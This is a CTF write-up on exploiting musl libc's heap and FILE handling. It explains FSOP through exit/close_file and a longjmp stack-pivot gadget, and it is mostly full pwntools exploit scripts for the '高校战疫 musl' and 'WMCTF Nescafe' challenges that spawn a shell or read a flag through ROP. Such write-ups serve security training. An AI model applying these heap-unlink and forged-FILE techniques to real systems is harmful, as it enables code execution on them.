您的位置:首页 > 其它

1.1.24 musl pwn

2022-05-14 10:40 756 查看

1.1.24 musl pwn

关键源码

static void unbin(struct chunk *c, int i)
{
if (c->prev == c->next)  // 若 bin 只有一个 chunk,将 bin 设为空 bin
a_and_64(&mal.binmap, ~(1ULL<<i));
c->prev->next = c->next;
c->next->prev = c->prev;
c->csize |= C_INUSE;     // 设置 INUSE 标志位
NEXT_CHUNK(c)->psize |= C_INUSE;
}

FSOP

调用

exit

// src/exit/exit.c L27-L33
_Noreturn void exit(int code)
{
__funcs_on_exit();
__libc_exit_fini();
__stdio_exit();  <---
_Exit(code);
}

其中的

__stdio_exit
函数

// src/stdio/__stdio_exit.c L16-L23
void __stdio_exit(void)
{
FILE *f;
for (f=*__ofl_lock(); f; f=f->next) close_file(f);
close_file(__stdin_used);  <---
close_file(__stdout_used);
close_file(__stderr_used);
}

再到

close_file
函数

// src/stdio/__stdio_exit.c L8-L14
static void close_file(FILE *f)
{
if (!f) return;
FFINALLOCK(f);
if (f->wpos != f->wbase) f->write(f, 0, 0);  <---
if (f->rpos != f->rend) f->seek(f, f->rpos-f->rend, SEEK_CUR);
}

wpos != wbase
时,便会调用
write
,并且参数为当前的
结构体

栈迁移

如下
gadget
搭配
FSOP
可以很方便实现栈迁移。
.text:0000000000049503 loc_49503:
.text:0000000000049503 mov     rbx, [rdi]
.text:0000000000049506 mov     rbp, [rdi+8]
.text:000000000004950A mov     r12, [rdi+10h]
.text:000000000004950E mov     r13, [rdi+18h]
.text:0000000000049512 mov     r14, [rdi+20h]
.text:0000000000049516 mov     r15, [rdi+28h]
.text:000000000004951A mov     rdx, [rdi+30h]
.text:000000000004951E mov     rsp, rdx
.text:0000000000049521 mov     rdx, [rdi+38h]
.text:0000000000049525 jmp     rdx
.text:0000000000049525 longjmp endp
泄露
environ
也可以进行栈迁移来
ROP

例题:高校战"疫" musl

exp
from pwn import*
context(os = "linux", arch = 'amd64', log_level = 'debug')

s = process('./carbon')
elf = ELF('./carbon')
libc = ELF("./libc.so")

def add(size,content,ans='N'):
s.sendlineafter(b'> ', b'1')
s.sendlineafter(b'What is your prefer size? >', str(size))
s.sendlineafter(b'Are you a believer? >', ans)
s.sendafter(b'Say hello to your new sleeve >', content)

def delete(index):
s.sendlineafter(b'> ', b'2')
s.sendlineafter(b'What is your sleeve ID? >', str(index))

def edit(index,content):
s.sendlineafter(b'> ', b'3')
s.sendlineafter(b'What is your sleeve ID? >', str(index))
s.send(content)

def show(index):
s.sendlineafter(b'> ', b'4')
s.sendlineafter(b'What is your sleeve ID? >', str(index))

add(0, b'') # 0
show(0)
libc_base = u64(s.recv(6).ljust(8,b'\x00')) - 0xa0a80 - 912
success('[+] libc_base=> '+hex(libc_base))

system_addr = libc_base + 0x46bda
stdin_addr = libc_base + 0xa01c0
mal = libc_base + 0xa0a80
brk = libc_base + 0xa2ff0

add(0x10, b'\n') # 1
add(0x10, b'\n') # 2
add(0x10, b'\n') # 3
add(0x10, b'\n') # 4
add(0x10, b'\n') # 5
add(0x10, b'\n') # 6

delete(0)
delete(2)

payload = b'a'*0x10             # 0
payload+= p64(0x21) + p64(0x21) # 1
payload+= b'a'*0x10
payload+= p64(0x21) + p64(0x20) # 2
payload+= p64(stdin_addr - 0x10)*2
payload+= p8(0x20) + b'\n'

add(0x10, payload, b'Y')        # 0
add(0x10, b'\n')                # 2 unbin
delete(1)

edit(2, p64(mal-0x20)*2)
add(0x10, b'\n')                # 1 unbin
delete(3)

edit(2, p64(brk-0x10)*2)
add(0x10, b'\n')                # 3 unbin
delete(5)

bin37_head_addr = mal + 904
edit(2, p64(bin37_head_addr - 0x18)+p64(stdin_addr - 0x10))
add(0x10, b'\n') # 5

fake_IO = b'/bin/sh\x00'        # flags
fake_IO+= b'\x00'*0x20
fake_IO+= p64(1)                # wpos
fake_IO+= b'\x00'*0x8
fake_IO+= p64(2)                # wbase
fake_IO+= b'\x00'*0x8
fake_IO+= p64(system_addr)      # write

'''
struct _IO_FILE {
unsigned int flags;
unsigned char *rpos;
unsigned char *rend;
int (*close)(FILE *);
unsigned char *wend;
unsigned char *wpos;
unsigned char *mustbezero_1;
unsigned char *wbase;
size_t (*read)(FILE *, unsigned char *, size_t);
size_t (*write)(FILE *, const unsigned char *, size_t);
off_t (*seek)(FILE *, off_t, int);
unsigned char *buf;
size_t buf_size;
FILE *prev;
FILE *next;
int fd;
int pipe_pid;
long lockcount;
int mode;
volatile int lock;
int lbf;
void *cookie;
off_t off;
char *getln_buf;
void *mustbezero_2;
unsigned char *shend;
off_t shlim;
off_t shcnt;
FILE *prev_locked;
FILE *next_locked;
__locale_struct *locale;
} * const
'''

add(0x50, fake_IO)              # 7

edit(2, p64(bin37_head_addr - 0x18)+p64(brk - 0x10))
add(0x10, b'\n')                # 8
add(0x50, p64(0xBADBEEF - 0x20) + b'\n') # 9

edit(2, p64(bin37_head_addr - 0x18)+p64(mal - 0x20))
add(0x10, b'\n')                # 10
add(0x20, b'a'*0x10 + p64(0)*2)

gdb.attach(s)
s.interactive()

例题:WMCTF Nescafe

exp1
from pwn import*
context(os = 'linux', arch = 'amd64', log_level = 'debug')

s = process('./pwn')
libc = ELF('./libc.so')

def add(content):
s.sendlineafter(b'>>', b'1')
s.sendafter(b'Please input the content\n', content)

def delete(index):
s.sendlineafter(b'>>', b'2')
s.sendlineafter(b'idx:\n', str(index))

def show(index):
s.sendlineafter(b'>>', b'3')
s.sendlineafter(b'idx\n', str(index))

def edit(index,content):
s.sendlineafter(b'>>', b'4')
s.sendlineafter(b'idx:\n', str(index))
s.sendafter(b'Content\n', content)

add(b'a'*0x8) # 0
add(b'b'*0x8) # 1
show(0)
libc_base = u64(s.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) - 0x292e50
success('[+] libc_base=> '+hex(libc_base))

mal = libc_base + 0x292ac0
stdout = libc_base + 0x292300
open_addr = libc_base + 0x23399
read_addr = libc_base + 0x59f8e
write_addr = libc_base + 0x5a3b5
bin16_head_addr = mal + 8 + 0x18*16 + 8
chunk0 = libc_base + 0x2953b0
gadget = libc_base + 0x000000000004951A

'''
.text:0000000000049503 loc_49503:
.text:0000000000049503 mov     rbx, [rdi]
.text:0000000000049506 mov     rbp, [rdi+8]
.text:000000000004950A mov     r12, [rdi+10h]
.text:000000000004950E mov     r13, [rdi+18h]
.text:0000000000049512 mov     r14, [rdi+20h]
.text:0000000000049516 mov     r15, [rdi+28h]
.text:000000000004951A mov     rdx, [rdi+30h]
.text:000000000004951E mov     rsp, rdx
.text:0000000000049521 mov     rdx, [rdi+38h]
.text:0000000000049525 jmp     rdx
.text:0000000000049525 longjmp endp'''

pop_rdi_ret = libc_base + 0x0000000000014862
pop_rsi_ret = libc_base + 0x000000000001c237
pop_rdx_ret = libc_base + 0x000000000001bea2
ret = libc_base + 0x0000000000000cdc

delete(0)
edit(0, p64(stdout - 0x10)*2)
add(b'c'*0x8) # 2

delete(0)
edit(0, p64(bin16_head_addr - 0x18) + p64(stdout - 0x10))

payload = b'./flag\x00\x00'
payload+= p64(pop_rdi_ret) + p64(chunk0 + 0x10) + p64(pop_rsi_ret) + p64(0) + p64(pop_rdx_ret) + p64(0) + p64(open_addr)
payload+= p64(pop_rdi_ret) + p64(3) + p64(pop_rsi_ret) + p64(chunk0 + 0x100) + p64(pop_rdx_ret) + p64(0x20) + p64(read_addr)
payload+= p64(pop_rdi_ret) + p64(1) + p64(pop_rsi_ret) + p64(chunk0 + 0x100) + p64(pop_rdx_ret) + p64(0x20) + p64(write_addr)

add(payload) # 3

'''
struct _IO_FILE {
unsigned int flags;
unsigned char *rpos;
unsigned char *rend;
int (*close)(FILE *);
unsigned char *wend;
unsigned char *wpos;
unsigned char *mustbezero_1;
unsigned char *wbase;
size_t (*read)(FILE *, unsigned char *, size_t);
size_t (*write)(FILE *, const unsigned char *, size_t);
off_t (*seek)(FILE *, off_t, int);
unsigned char *buf;
size_t buf_size;
FILE *prev;
FILE *next;
int fd;
int pipe_pid;
long lockcount;
int mode;
volatile int lock;
int lbf;
void *cookie;
off_t off;
char *getln_buf;
void *mustbezero_2;
unsigned char *shend;
off_t shlim;
off_t shcnt;
FILE *prev_locked;
FILE *next_locked;
__locale_struct *locale;
} * const
'''

payload = b'a'*0x30
payload+= p64(stdout + 0x50) + p64(ret) + b'\x00'*0x8
payload+= p64(gadget) # _IO_FILE->write
payload+= p64(pop_rdi_ret) + p64(stdout + 0x38) + p64(gadget)
payload+= p64(chunk0 + 0x18) + p64(ret)

add(payload) # 4 orw
#gdb.attach(s)
s.interactive()
exp2
from pwn import*
context(os = 'linux', arch = 'amd64', log_level = 'debug')

s = process('./pwn')
libc = ELF('./libc.so')

def add(content):
s.sendlineafter(b'>>', b'1')
s.sendafter(b'Please input the content\n', content)

def delete(index):
s.sendlineafter(b'>>', b'2')
s.sendlineafter(b'idx:\n', str(index))

def show(index):
s.sendlineafter(b'>>', b'3')
s.sendlineafter(b'idx\n', str(index))

def edit(index,content):
s.sendlineafter(b'>>', b'4')
s.sendlineafter(b'idx:\n', str(index))
s.sendafter(b'Content\n', content)

add(b'a'*0x8) # 0
add(b'b'*0x8) # 1
show(0)
libc_base = u64(s.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) - 0x292e50
success('[+] libc_base=> '+hex(libc_base))

mal = libc_base + 0x292ac0
environ = libc_base + 0x294fd8
bin35_head_addr = mal + 8 + 0x18*35 + 8
open_addr = libc_base + 0x23399
read_addr = libc_base + 0x59f8e
write_addr = libc_base + 0x5a3b5
pop_rdi_ret = libc_base + 0x0000000000014862
pop_rsi_ret = libc_base + 0x000000000001c237
pop_rdx_ret = libc_base + 0x000000000001bea2
flag_addr = libc_base + 0x2953c0

delete(0)
edit(0, p64(bin35_head_addr - 0x18)*2)
add(b'./flag\x00') # 2
add(p64(0)*13 + b'\x30') # 3
add(p64(0)*6) # 4
show(0)

elf_base = u64(s.recv(6).ljust(8,b'\x00')) - 0x202040
success('[+] elf_base=> '+hex(elf_base))

edit(0, p64(elf_base + 0x202040) + p64(environ) + p64(0)*4)
show(1)
stack_back = u64(s.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) - 0x70
success('[+] stack_back=> '+hex(stack_back))

rop = p64(pop_rdi_ret) + p64(flag_addr) + p64(pop_rsi_ret) + p64(0) + p64(pop_rdx_ret) + p64(0) + p64(open_addr)
rop+= p64(pop_rdi_ret) + p64(3) + p64(pop_rsi_ret) + p64(flag_addr) + p64(pop_rdx_ret) + p64(0x20) + p64(read_addr)
rop+= p64(pop_rdi_ret) + p64(1) + p64(pop_rsi_ret) + p64(flag_addr) + p64(pop_rdx_ret) + p64(0x20) + p64(write_addr)

edit(0, p64(elf_base + 0x202040) + p64(stack_back) + p64(0)*4)
edit(1,rop)

#gdb.attach(s)
s.interactive()
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: